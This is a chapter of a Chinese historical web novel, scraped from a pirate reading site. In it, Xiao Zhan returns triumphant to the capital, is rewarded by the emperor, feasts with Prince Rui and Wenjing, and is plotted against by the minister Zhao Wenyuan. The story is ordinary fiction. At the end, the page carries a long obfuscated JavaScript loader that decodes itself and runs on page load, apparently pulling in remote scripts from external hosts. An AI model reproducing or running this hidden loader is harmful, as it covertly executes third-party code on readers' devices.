首页
第464章 凯旋回京
返回
关灯 护眼:关 字号:小

第464章 凯旋回京

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    京城南门外十里亭,萧战刚送走最后一批士子,正准备上马进城,就听见远处传来急促的马蹄声。
    “太傅!太傅留步!”
    一个传令兵飞马而来,到跟前勒马,翻身下跪,气喘吁吁:
    “皇、皇上口谕!命萧太傅与睿亲王妃,暂缓进城,在十里亭等候!”
    萧战一愣:“等什么?等晚饭啊?”
    传令兵擦擦汗:“睿亲王奉旨,正带着仪仗过来迎接!皇上说了,太傅平定江南,劳苦功高,当以功臣之礼相迎!”
    萧战和萧文瑾对视一眼,都看到对方眼中的惊讶。
    “四叔,”萧文瑾低声道,“这规格……是不是太高了?”
    萧战摸着下巴:“高?老子觉得还不够高!老子在江南差点被水匪砍了,抄了七个大户,缴了三百万石粮食,护送一千多士子安全抵京——这功劳,配个仪仗怎么了?”
    话虽这么说,但他嘴角还是忍不住往上翘。
    李虎在旁边嘿嘿笑:“头儿,这回您可露大脸了。”
    “露脸?”萧战踹了他一脚,“赶紧的,让兄弟们整理整理军容!别待会儿仪仗来了,咱们一个个跟叫花子似的,丢老子的脸!”
    士兵们赶紧拍打身上的尘土,整理铠甲——虽然这二十天风尘仆仆,甲胄早就不那么鲜亮了,但精气神还在。
    萧战自己也低头看了看身上的“护考队总教头”制服——深蓝色劲装已经沾了不少土,袖口还磨破了一块。
    “他娘的,早知道穿官服了。”他嘀咕。
    萧文瑾抿嘴笑:“四叔这样挺好,一看就是实干派。”
    十里亭外,萧战刚把那身沾满尘土的“护考队总教头”制服拍打干净,远处官道上就扬起了漫天的烟尘。
    先是十二面明黄龙旗在风中猎猎作响,每面旗上都绣着张牙舞爪的五爪金龙——这是天子仪仗中规格极高的“导引旗”,寻常官员一辈子也见不到一面。旗后是十六名锦衣卫骑兵,个个身穿飞鱼服,腰挎绣春刀,胯下清一色的河西骏马,马蹄踏在官道青石板上,发出整齐划一的“咔嗒”声,听得人心里发颤。
    再往后是三十六名礼部官员,穿着绛紫色官袍,手捧各种稀奇古怪的仪仗器具:金瓜、钺斧、朝天镫、蟠龙棍……阳光照在这些鎏金的器物上,晃得人睁不开眼。
    而在仪仗正中央,是一顶八人抬的明黄轿舆。轿顶镶着拳头大的东珠,四角垂着金丝流苏,轿帘上绣的不是寻常的福禄寿喜,而是活灵活现的五爪行龙——这是亲王的规格,而且是超规格的亲王。
    轿舆旁,一匹通体雪白、无一根杂毛的骏马格外显眼。马上之人穿着石青色四团龙亲王常服,玉带束腰,金冠束发,面如冠玉,目若朗星。虽隔着老远,那股子天生的贵气已经扑面而来。
    萧战眯着眼睛看了半晌,咧嘴笑了:“哟,承弘这小子,排场整得挺大啊。不知道的还以为来接新娘子呢。”
    旁边的李虎小声嘀咕:“头儿,那轿子……好像是皇上出巡时才用的‘明黄八抬轿’,睿亲王用这个规格来接您,这……这不合礼制吧?”
    “礼制?”萧战嗤笑,“老子在江南差点把命都搭上了,还管他娘什么礼制?再说了,这是皇上的意思,皇上说合礼制,那就合礼制。”
    话虽这么说,他还是悄悄整理了一下衣襟——妈的,早知道今天这么隆重,昨天路过保定府的时候,就该找个成衣铺子换身新的。
    萧文瑾站在他身侧,看着越来越近的仪仗队,手心微微出汗。
    她倒不是紧张——在龙渊阁这些年,什么大场面没见过。只是……只是那匹白马上的身影,让她心跳有些快。
    三个月没见了。
    上次分别时,还是寒冬腊月,京城飘着细雪。如今已是阳春三月,路边的柳树都抽了新芽。
    “大丫,”萧战碰了碰她胳膊,挤眉弄眼,“待会儿见了承弘,可别哭鼻子啊。这么多人看着呢,丢咱们萧家的人。”
    萧文瑾脸一红:“四叔!你说什么呢!”
    “我说实话啊。”萧战嘿嘿笑,“你看你,眼睛都直了。要不四叔先回避回避,给你们小两口腾个地方?”
    “四叔!”萧文瑾跺脚,脸更红了。
    正说笑间,仪仗队已经到了跟前。
    白马当先停下,李承弘翻身下马,动作干净利落。他先是对萧战拱手:“四叔,一路辛苦。”
    声音清朗,带着笑意。
    萧战摆摆手:“辛苦什么,老子这一路吃得好睡得香,还顺道给一千多个读书人当了一回教书先生。倒是你,”他上下打量李承弘,“看着瘦了。怎么,京城饭不好吃?”
    李承弘含笑:“京城饭再好,也比不上江南的新鲜。四叔在江南折腾出那么大动静,我在京城可是天天提心吊胆。”
    “提心吊胆?”萧战挑眉,“怕老子被人砍了?”
    “怕四叔把江南的天捅破了,我补不上。”李承弘实话实说。
    两人相视大笑。
    笑完,李承弘才转向萧文瑾。
    四目相对,一时竟无言。
    三个月的思念,三个月的担忧,三个月的牵挂,都在这一眼中了。
    萧文瑾眼圈微红,但强忍着没让眼泪掉下来,只微微福身:“殿下。”
    李承弘上前一步,握住她的手——当着这么多人的面,这个举动其实有些逾矩。但他是亲王,是奉旨来接人的,谁又敢说什么?
    “文瑾,”他声音放柔,“辛苦了。”
    “不辛苦。”萧文瑾摇头,“倒是殿下在朝中周旋,才是真的辛苦。”
    “我有什么辛苦的。”李承弘笑道,“不过是跟那些老狐狸斗斗嘴皮子。倒是你,在江南又要帮四叔出谋划策,又要打理龙渊阁,还要办报纸——我都听说了,《江南新报》现在火遍大江南北。”
    萧战在旁边咳嗽一声:“哎哎哎,差不多行了啊。这还有个大活人站着呢,你们俩就当众腻歪,考虑过老子的感受吗?”
    李承弘失笑,这才松开萧文瑾的手,正色道:“四叔,父皇在宫里等着呢。咱们这就进城吧?”
    “走着!”萧战大手一挥,“老子倒要看看,京城这帮孙子,看见老子回来,是什么表情。”
    仪仗队调转方向,萧战和李承弘骑马并行在前,萧文瑾上了那顶明黄八抬轿——这是李承弘坚持的,说王妃一路劳顿,该乘轿。
    萧战本来还想推辞,但看了眼那轿子,又看了看自己沾满尘土的衣裳,最后咧嘴一笑:“成,那老子就沾沾大丫的光,也享受享受这排场。”
    队伍重新启程,朝着京城方向缓缓行进。
    越靠近京城,官道两旁的人越多。
    起初是些看热闹的百姓,后来渐渐有了些穿着各色官服的官员——都是听到消息,提前出城迎接的。有六部的,有都察院的,有翰林院的,乌泱泱一大片,站在道旁,神色各异。
    萧战骑在马上,挺直了腰杆,目光扫过那些熟悉或陌生的面孔。
    他看到户部尚书钱益谦站在最前面,老脸上堆满了笑,远远就拱手:“萧太傅!凯旋归来,可喜可贺!”
    萧战勒马停下,抱拳还礼:“钱老客气。江南这趟,多亏您老在户部支持,要钱给钱,要粮给粮。改天请您喝酒!”
    钱益谦笑得更开心了:“一定一定!”
    他又看到礼部尚书赵文渊——站在人群稍后的位置,脸色铁青,嘴角绷得紧紧的。看见萧战看过来,勉强挤出一丝笑,拱了拱手,没说话。
    萧战也不在意,咧嘴一笑,故意提高了声音:“赵尚书!听说您要在春闱时给江南士子‘接风洗尘’?巧了,我这一路正好带了一千多士子过来,待会儿就交给你了!可要好好招待啊!”
    赵文渊脸更青了,干巴巴地说:“太傅说笑了。”
    周围官员窃窃私语,不少人憋着笑。
    李承弘在旁边看得直摇头,低声道:“四叔,您这是故意给赵文渊难堪啊。”
    “难堪?”萧战哼了一声,“老子没当面骂他老匹夫、老王八,就算给他面子了。你知不知道,这老东西在江南安插了多少眼线?老子在太湖剿水匪的时候,他的人在岸上给水匪报信!要不是夜枭的兄弟机警,老子差点就阴沟里翻船了!”
    李承弘眼神一冷:“有这事?”
    “千真万确。”萧战压低声音,“人证物证都有,回头给你看。不过现在不急,等春闱完了,老子再跟他算总账。”
    队伍继续前进。
    快到城门时,景象更热闹了。
    城门楼上挂了红绸,城门口摆着香案,礼部的乐工奏起了《凯旋乐》。锣鼓喧天,鞭炮齐鸣——真的是鞭炮,红纸屑炸得满天飞,空气里弥漫着硝烟味。
    最绝的是,城门口两侧站满了百姓。看见萧战的马过来,百姓们齐声喊:
    “萧太傅!尝尝俺家的萝卜丸子!”
    “太傅!这是俺娘亲手烤的糖饼,可甜了!”
    “太傅威武!”
    萧战先是一愣,随即乐了。
    他勒住马,翻身下来,走到一个老汉面前。老汉手里捧着个炸得焦黄的萝卜丸子,香气扑鼻。
    “老人家,这是……”
    “太傅,俺是通州人,去年天旱,幸亏您租给我们的水车浇了地,收成特别好!”老汉激动得手都在抖,“听说您今天回京,俺天没亮就起来炸萝卜丸子,就想让您尝尝俺们的吃食,您一路辛苦了!”
    萧战接过丸子,也不嫌弃,拿了一个塞嘴里。
    “嗯!”他眼睛一亮,“香!真香!老人家,您这丸子炸得好!”
    老汉笑得满脸褶子都开了花。
    萧战又走到一个妇人面前。妇人拎着个竹篮,里面是蒸熟的糖糕,烙得薄薄的,撒了点糖霜。
    “太傅,这是俺家的……”
    “我尝尝!”萧战抓起一片塞嘴里,嚼了嚼,竖起大拇指,“好吃!有创意!回头我让龙渊阁的厨子学学,也这么做!”
    一路走,一路吃,一路夸。
    等走到城门口时,萧战手里已经抱了一堆吃食——烤的、蒸的、炸的、做成饼的,什么样式都有。
    他转身对李承弘说:“看见没?这才是老百姓的心意。比什么金银珠宝都实在。”
    李承弘含笑点头:“四叔深得民心。”
    进了城,景象更不得了。
    从城门到皇城,整整十里长街,两侧挤满了人。有百姓,有商贩,有读书人,甚至还有不少穿着儒衫的士子——正是萧战一路护送来的那些江南士子,他们没去客栈,而是早早等在这里,想再看萧战一眼。
    “太傅!学生在此!”
    “太傅一路保重!”
    “太傅,学生定不负所托!”
    士子们纷纷拱手行礼。
    萧战骑在马上,一一还礼。
    路过一家酒楼时,二楼窗户突然打开,一个年轻士子探出头,手里拿着个铁皮喇叭——跟萧战在十里亭用的那个一模一样,显然是仿制的。
    “太傅!”那士子扯着嗓子喊,“学生陈墨!已安顿妥当!《江南新报》京城分社,明日开张!”
    萧战抬头一看,乐了:“好小子!动作挺快!好好干,缺钱找你师娘……不对,找龙渊阁要!”
    周围百姓哄笑。
    陈墨在楼上红了脸,但眼神坚定。
    队伍终于到了皇城。
    午门外,百官列队相迎——这是皇帝特许的,说是萧战平定江南有功,当受此礼。
    萧战下马,整理了一下衣裳,对李承弘说:“走吧,见皇上去。老子憋了一肚子话,要跟皇上好好唠唠。”
    乾清宫,暖阁。
    老皇帝今天心情特别好。
    他穿着常服——明黄色的龙袍太正式,他嫌拘束,就穿了身绛紫色的常服,袖口绣着暗龙纹,头上只戴了顶翼善冠,看着像个富家翁。
    但那双眼睛,锐利得能看透人心。
    萧战进门,规规矩矩行了大礼:“臣萧战,奉旨江南钦差,回京复命。吾皇万岁万岁万万岁。”
    老皇帝摆摆手:“起来起来,别整这些虚的。赐座。”
    太监搬来绣墩,萧战谢恩坐下——只坐了半边屁股,这是规矩。
    “江南这一趟,辛苦你了。”老皇帝看着他,“瘦了,也黑了。不过精神头挺好。”
    萧战咧嘴笑:“皇上,臣不辛苦。倒是江南那些士绅,现在应该挺辛苦——在牢里吃不好睡不好,能不辛苦吗?”
    老皇帝失笑:“你呀,这张嘴还是这么不饶人。说说吧,江南现在怎么样了?”
    萧战清了清嗓子,开始汇报。
    他说话没什么章法,想到哪说到哪,但胜在生动。
    讲他怎么清丈田亩,怎么跟士绅斗智斗勇,怎么推广红薯,怎么剿灭水匪,怎么抄家充公……
    讲到激动处,手舞足蹈,唾沫横飞。
    “……皇上您不知道,赵德坤那老小子,家里抄出来八十万两白银!八十万两啊!堆成山了!还有粮食,光他一家就囤了三十万石!江南闹粮荒的时候,他宁可粮食烂在仓里,也不肯拿出来救济百姓!这种王八蛋,不杀不足以平民愤!”
    老皇帝听得津津有味,不时点头。
    等萧战讲完,他才缓缓开口:“赵德坤等人,已经押解进京,三司会审。该杀的杀,该流放的流放,一个都跑不了。”
    他顿了顿,看向萧战:“倒是你,这次功劳太大,朕都不知道该怎么赏你了。”
    萧战赶紧起身:“皇上,臣不要赏!臣做这些,不是为了赏赐,是为了江南百姓,是为了朝廷!”
    “话是这么说,但功必赏,过必罚,这是规矩。”老皇帝想了想,“这样吧,爵位你已经是镇国公,升无可升。官职你已经是太傅,也到顶了。那就……赏你点实在的。”
    他转头对太监说:“拟旨:萧战平定江南有功,赐黄金万两,白银十万两,江南良田千亩。另,加封其妻为一品诰命夫人,荫一子入国子监读书。”
    萧战愣住了。
    这赏赐……太重了。
    黄金万两,白银十万两,这已经是天文数字。江南良田千亩——那可是江南最肥沃的田地。荫一子入国子监,这是多少官员梦寐以求的恩典。
    “皇上,这……”
    “别推辞。”老皇帝摆摆手,“这是你应得的。另外,”他看向站在萧战身后的萧文瑾,“睿亲王妃萧氏,协助钦差推行新政,办报纸,兴商业,功不可没。赐‘贤德’封号,赏珍珠十斛,锦缎百匹。”
    萧文瑾赶紧跪下谢恩。
    老皇帝让她起来,又对李承弘说:“睿亲王在朝中策应有功,赏……”
    “父皇,”李承弘躬身道,“儿臣不敢居功。江南之事,全是四叔和文瑾的功劳,儿臣不过是在朝中说几句话而已。”
    老皇帝满意地点头:“不居功,好。那就赏你……明年开春,替朕去江南巡视一趟,看看新政推行得如何。”
    李承弘眼睛一亮:“儿臣领旨!”
    从乾清宫出来时,已经是傍晚了。
    夕阳西下,把紫禁城的琉璃瓦染成一片金黄。
    萧战走在宫道上,脚步有些飘——不是激动的,是饿的。在皇上面前说了两个时辰的话,午饭都没吃。
    “四叔,”李承弘跟上来,“我在府里备了宴,给您接风。文瑾也去。”
    萧战摸摸肚子:“有肉吗?”
    “有,烤全羊,您最爱吃的。”
    “有酒吗?”
    “三十年陈的梨花白,管够。”
    “那还等什么?走着!”
    睿亲王府今晚灯火通明。
    宴席摆在后花园的敞轩里,四周挂了纱灯,照得亮如白昼。正中一只烤得金黄酥脆的全羊,油脂滴在炭火上,滋滋作响,香气飘出老远。
    萧战也不客气,坐下就撕了一条羊腿,啃得满嘴流油。
    李承弘和萧文瑾坐在他对面,看着他吃,眼里都带着笑。
    “四叔,慢点吃,没人和您抢。”萧文瑾递过一杯酒。
    萧战接过,一口闷了,长长吐了口气:“舒坦!还是京城的酒够劲!江南那地方,什么都好,就是酒太淡,跟喝水似的。”
    李承弘笑道:“江南酒淡,但江南菜精致。我听说四叔在杭州,天天吃西湖醋鱼、龙井虾仁,把嘴都吃刁了。”
    “那是大丫爱吃,老子陪她吃。”萧战又撕了块羊肉,“老子还是喜欢大口吃肉,大碗喝酒。对了,说到这个,承弘,春闱的事儿,你安排得怎么样了?”
    李承弘正色道:“都安排好了。江南士子统一安排在国子监附近的客栈,由礼部和龙渊阁共同负责饮食安全。考试期间,加派巡逻,确保万无一失。”
    “赵文渊那边呢?”
    “他?”李承弘冷笑,“他想宴请士子,我让礼部发了通告:春闱期间,考官不得私会考生。他要是敢违反,正好给我借口参他一本。”
    萧战竖起大拇指:“高!你小子,越来越像你爹了,一肚子坏水。”
    李承弘哭笑不得:“四叔,您这是夸我还是骂我?”
    “当然是夸你!”萧战又倒了杯酒,“对付那些老狐狸,就得比他们更狡猾。对了,那些士子,你可得看好了。这一路我费了多少口水,才把他们掰正过来,别让赵文渊又给带歪了。”
    “四叔放心。”萧文瑾接过话头,“我已经让陈墨在《江南新报》京城分社开了专栏,专门报道春闱动态。士子们有什么想法,可以通过报纸表达。舆论阵地,咱们占着呢。”
    萧战这才放心,继续埋头啃羊腿。
    酒过三巡,菜过五味。
    萧战吃得差不多了,靠在椅背上,摸着圆滚滚的肚子,忽然叹了口气。
    “四叔怎么了?”李承弘问。
    “没什么,”萧战看着天上的月亮,“就是觉得……这趟江南之行,像做了场梦。三个月前,老子还在京城跟那帮文官吵架。三个月后,江南的天,变了。”
    他顿了顿,声音低下来:
    “老子杀了人,抄了家,得罪了不知道多少人。但老子不后悔。因为那些该杀,那些家该抄,那些人该得罪。”
    “江南的百姓,现在能吃饱饭了。那些佃户,现在有地种了。那些士子,现在知道该为什么读书了。”
    “这就够了。”
    李承弘和萧文瑾对视一眼,都没说话。
    月光洒下来,照在三人身上,安静而温暖。
    良久,李承弘举起酒杯:“四叔,我敬您。敬您为江南百姓做的一切。”
    萧战举杯,一饮而尽。
    “少来这套。”他抹了抹嘴,又恢复了那副混不吝的样子,“真要谢我,明年让我带兵去西北打蛮子。在江南这三个月,老子骨头都闲出锈来了。”
    李承弘大笑:“好!等春闱结束,我跟父皇说,让您去西北练兵!”
    “一言为定!”
    “一言为定!”
    酒杯相碰,声音清脆。
    而此时,京城某处深宅大院里,气氛却截然不同。
    赵文渊坐在书房里,脸色阴沉得能滴出水来。
    他对面坐着几个官员,都是他的心腹。
    “大人,萧战今日回京,皇上亲自让睿亲王出城十里迎接,规格堪比亲王。这……这是明摆着给咱们看啊。”
    赵文渊冷哼一声:“跳梁小丑,得意一时罢了。”
    “可江南那些士子,现在都被萧战收买了。今天在城门口,您也看到了,那些士子看萧战的眼神,跟看亲爹似的。”
    “那又如何?”赵文渊眼中寒光一闪,“春闱还没考,鹿死谁手,尚未可知。”
    他顿了顿,压低声音:
    “考题……准备好了吗?”
    一个官员小心翼翼地说:“准备好了。策论题是‘论祖宗之法不可变’,诗题是‘咏江南旧景’。只要士子们按这个思路写,自然会批判新政。”
    赵文渊满意地点头:“好。等考试成绩出来,那些支持新政的士子,一个都别想中!”
    他看向窗外,夜色深沉。
    “萧战,你以为你赢了?笑话。真正的较量,才刚刚开始。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();